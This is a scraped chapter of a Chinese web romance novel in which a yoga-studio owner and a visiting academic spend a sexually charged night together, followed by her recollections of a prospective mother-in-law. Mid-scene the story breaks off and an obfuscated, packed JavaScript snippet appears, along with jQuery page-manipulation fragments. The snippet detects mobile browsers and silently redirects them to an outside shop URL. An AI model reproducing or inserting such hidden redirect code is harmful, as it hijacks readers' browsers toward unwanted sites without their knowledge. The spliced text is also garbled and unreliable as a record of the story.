文趣网 > 其他小说 > 与你焚夏 > 18. 第 18 章
    穆传真终于又吃上了她想念的猪肉炖粉条,她夹了一筷子放嘴里,嚼了几口评价道:“没有林场的好吃。”

    岳铭只能在食材上溯源,“那酸菜是李群妈妈做的,或许更符合你的口味。”

    穆传真又喝了一口他做的冬瓜排骨汤,“汤倒是不错。”

    吃完饭依然是岳铭洗碗,穆传真买了菜还提供了厨房,她心安理得躺沙发上休息。

    等他洗了碗过来,穆传真问:“昨天你睡的沙发?”

    他“嗯”了一声。

    倒是装得跟正人君子似的。穆传真循循诱导,“要不要我带你参观下我家?”

    说完带着他开始看客厅,岳铭看着照片墙上一张照片出神,那是穆传真22岁时去印度拍的活根桥,她长发挽起,站在桥上一只手比“耶”,笑得非常清纯女大。

    “这张很特别吧。”

    “的确,那会儿你挺小。”

    “你在意有所指?是觉得现在的我很老?”

    他摇摇头,意味不明地上下打量她一眼。这个男人,偶尔透出的痞气真让人晃神。

    她说:“臭流氓!”

    她又看向那张照片,“我是不是没跟你说过我的职业?其实我开了一家小小的瑜伽工作室,如果要说开这个的起源,应该是那一年在印度碰巧参加了一个月的禅修,禅修的内容就有一半是身体瑜伽。”另一半是印度的宗教和哲学,她那会儿交流有困难,只能听懂三成那些老师的话,再加上那些理论课程晦涩难懂,她就只是当做耳旁风了。

    岳铭问:“禅修完就回国了?”

    “嗯,我可不想在那边继续吃咖喱。不过说起来,也是那时候与那家禅修院的老师认识了,我最近还打算请他回来给我的学员搞点特色培训呢。”

    “什么时候过来?”

    “下月,你也感兴趣?”

    他提了提唇角,“算是吧,到时候可以引荐引荐吗?”

    “没问题啊,不过下月你又要过来?”

    “不欢迎?”

    她摊摊手,“我可没说,脚长你身上,谁管得了你。”

    两人又参观了阳台的花,卧室的画,走到衣帽间时,穆传真透过玻璃衣柜门打量自己的服饰颜色,果然黑白灰居多,她怕岳铭又说起动物界雄性雌性的这种话题,连忙带他出去。

    参观结束,她抱着手臂说:“我先去洗个澡。”

    他表示请便。

    穆传真一边脱自己身上这穿了几个小时的粉色性感睡裙,一边反思,自己是不是哪里弄错了?在林场时随便穿,在机场分别时甚至可以称得上邋遢,但岳铭却表现得很热情,为什么自己穿成这样了,他却一点反应也没有?

    难道他偏爱那种素面朝天,不加雕琢的的模样?

    她有些丧气,冲洗干净后随便套了一身宽松灰色居家服,头上绑了一块白色干发毛巾,她出门时岳铭正在打电话,她第一次听他给学生指导论文,有理有据,声音低沉。他抬头看了她一眼,又垂眼去阳台继续打电话。

    为了避免打扰,她在卧室里的浴室开吹风机吹头发,吹完了开始涂抹身体乳,涂到一半,他敲门,穆传真让进来。

    乳液挤到掌心,她掀开衣服后领口,反手给自己涂抹,披散的长卷发随着这动作起起伏伏,洗发水的香气和身体乳的香气交叠,散发出淡淡的奶味。

    岳铭喉头一滚,半靠在门口看她。

    穆传真不解,“站那儿干嘛?”站这么远,怕我吃了你?

    岳铭摸了摸鼻子,“你屋子里太香了。”

    “不喜欢?”

    “不,是太喜欢。”他怕秩序失控。

    但既然答应了要好好追求,他打算先走完追求人的各种流程,至少情感书籍是这么说的。吃饭、看电影、牵手、拥抱、接吻,最后才是肌肤之亲。虽然最开始步骤错了,但他决定重新按照正确的流程与她相处。过程很难,他的确一直在克制。

    喜欢却站在那儿不动,穆传真更不解了。她觉得自己又变成了那个惦记唐僧肉的女妖精,这唐僧是越来越难琢磨了。

    她幽幽瞥了一眼,说:“我后背涂抹不到,你,能帮帮我吗?”

    他站在那儿,瞳孔幽深,他看向她手里拎着的那瓶身体乳,走向她,接手里按了一管,“怎么涂?”

    穆传真有点后悔脱掉那件粉色睡裙了,那件衣服大露背,简直是调情利器,现在身上这宽大的居家服是什么鬼?

    她拎着衣摆,掀开一截后腰,“随便抹一抹吧。”

    粗粝的手指顺着背后的肌肤游走,穆传真全身都过电似的,果然还是得这双手。她呼吸急促了几分,“往上一点。”

    岳铭快崩溃了,几分钟前的做好的心理建设,到这里已经全线崩塌,他不得不承认,眼前这个女人正在散发着致命吸引力。动物性的,视觉性的,而那些社会约束被抛到了九霄云外,他只知道自己正掌控着她,并且触手可得。

    穆传真身体异常柔软,她又变成了那条吐着蛇信子的美女蛇,在距离他不过几公分的地方说:“我买了蓝莓伏特加,你要喝吗?”

    蓝莓伏特加,仿佛一个隐秘的开关。

    “你这个酒鬼。”他的手从她的后背挪到前面。

    她尖叫一声,“酒在客厅酒柜呢!”

    去他的恋爱教程!他想。

    他现在只想和她做最后一步。

    他压着她亲吻,穆传真心满意足地抱着他的脖子回应,然后伸手去拉床头柜,手不小心打翻了什么,发出“嘭”一声响。

    穆传真扭头去看,发现是那杨小姐所赠的榫卯结构建筑小模型,她拿回来随手摆放在那里,忘了收进柜子。

    看起来没摔坏,倒是稳固

    倒是稳固。

    岳铭捏住她的下巴,把她的脸扭过去面向自己,然后又是一阵疯狂的亲吻。

    然后他停下,自我放弃似地说,“我去洗澡。”

    穆传真心说:别呀。

    但他已经扯了皮带,摸着衬衫扣子一颗一颗地解。

    穆传真坐在床上欣赏,这果然是一副美好的躯体。

    岳铭转身进了浴室,穆传真趁机打开床头柜,拿了东西,穿上拖鞋小跑过去,把浴室门拉开一条缝。

    浴室里充斥着水汽。

    她在门缝里摊开手掌,“我下午顺便买了这个。”

    他大手一伸,一把抓手里,顺便把她拖了进去。

    她记不清整个过程是怎么发生的了,只记得几乎站不稳,水和他一样滚烫,他嘴里断断续续说着:

    叫出来!

    ……

    哭什么?

    ……

    喜欢么?

    ……

    再来?

    ……

    这

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17670683|207022||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一夜格外漫长,窗外万家灯火次第熄灭,星辰轮转晨昏相接。

    地上还散落着各种衣物,那不经意间被推到地上的建筑模型静静躺在那里。

    第二天穆传真去捡起那模型时,突然想起自己与杨小姐的对话。

    不用钉子就能严丝合缝。

    在某些方面,她与岳铭极端契合,像极了这种结构。

    上下贯通,穿插搭接,拼接方式多种多样,各个部件之间牵扯勾连。一凹一凸,互补共生,结构精妙,难分难舍。

    她把模型摆到玻璃橱窗。

    岳铭还有会要开,早上很早就走了,可她已经是第二天起不来。

    工作室还有许多事需要处理,她下午出门前照镜子化妆,才发现胸前几片肋骨处惨不忍睹。

    她心里骂他是狗,去挑了件领口高的裙子,空调屋里尚能忍受,在室外待着时热得人冒汗。

    工作室助手联系人设计了瑜伽封闭培训的海报和邀请函,具体细节还要穆传真来敲定。

    她提了一些修改意见,让他们继续做后续的设计。

    下午,她接到一个电话,她极力想忽视,但是最终还是接了电话。

    她面色冰冷,语气带笑,“阿姨,怎么想着给我打电话了?”

    她的vip客户,也是周朝西的妈妈。

    穆传真几年前还亲自上阵教授课程的时候,这位周太太便是她的服务对象,她周末提着瑜伽包去他家别墅上课。

    周太太因着穆传真生父的缘故,对她和颜悦色,但穆传真心里明白,这和颜悦色里藏着几分虚伪,几分揶揄。她见过周太太数落别人家事时那种鄙视的神情,她相信,背着她的时候,周太太同样也用那种表情。

    周太太表面总是很周到,招呼家里佣人端水果、泡茶饮,拉着她的手闲话家常,俨然把穆传真当做了准儿媳。

    “以后你和朝西生个孩子,也像你这么白就好了。”

    穆传真不说话,笑着吃一块菠萝。

    周太太又说,“明年6月就要办婚礼,虽说还有大半年时间做准备,但是总觉得仓促。朝西哥哥嫂嫂那会儿结婚,非要去办什么海岛婚礼,大家坐飞机过去受苦受累,吃的东西还不合口味,所以你们这回选的这边酒店,我觉得就很好,大家舒舒服服多好。”

    穆传真眯眯眼。

    话听着是好听的,但穆传真很清楚周朝西在他们家的处境,他并非周太太所生,主要产业几乎都是哥哥周朝东的,他拿到的不过是些边角料,赚的钱里大部分还是靠自己折腾来的。

    所谓的哥哥海岛办婚礼,弟弟本地办婚礼,也不过是周家的利益分配而已。

    不受重视的人,不受重视的婚礼。

    所以连带着穆传真,她也不会觉得自己会被周太太真心实意放心上。

    她不过是满足她展示慈爱和长辈关怀的工具人,周太太愿意表演,她就顺带配合。

    她与周朝西认识,便是在周太太这间花园别墅。那会儿她上完课从底楼玻璃房出来,穿过种满绣球花的石子路,一只全身黑色的猫守在花丛中,她来过几回,已经通过肉干罐头与猫建立了一定联系。

    于是她轻车熟路,翻开瑜伽包,从里面掏出一条肉干,蹲在高大的绣球花下喂猫。

    等她喂完,站起来发现那个穿着破洞裤,染着黄头发的青年,不知在她背后站了多久。